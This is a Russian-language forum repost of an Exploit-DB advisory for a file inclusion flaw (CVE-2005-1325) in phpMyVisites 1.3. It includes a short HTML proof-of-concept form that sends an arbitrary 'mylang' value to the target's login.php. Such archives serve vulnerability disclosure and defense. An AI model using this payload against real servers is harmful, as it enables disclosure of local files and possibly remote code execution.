Exploit PHPMyVisites 1.3 - 'Set_Lang' File Inclusion

Exploiter

Хакер
34,599
0
18 Дек 2022
EDB-ID
25531
Проверка EDB
  1. Пройдено
Автор
MAX CERNY
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2005-1325
Дата публикации
2005-04-26
HTML:
source: https://www.securityfocus.com/bid/13370/info

phpMyVisites allows attackers to include arbitrary files. While it has been demonstrated that local files may be included through this vulnerability, there is an unconfirmed possibility of remote file inclusion.

Exploitation could disclose local files, or in the case of remote file inclusion, let the attacker execute malicious PHP code.

The issue is known to affect phpMyVisites 1.3. Other versions may also be affected. 

<form action="http://[pathtoyourphpMyVisites]/login.php" method="POST">
Local file: <input type="text" name="mylang" value="" />
<input type="submit" value="Alexx says RELAX!">
</form>
 
Источник
www.exploit-db.com

Похожие темы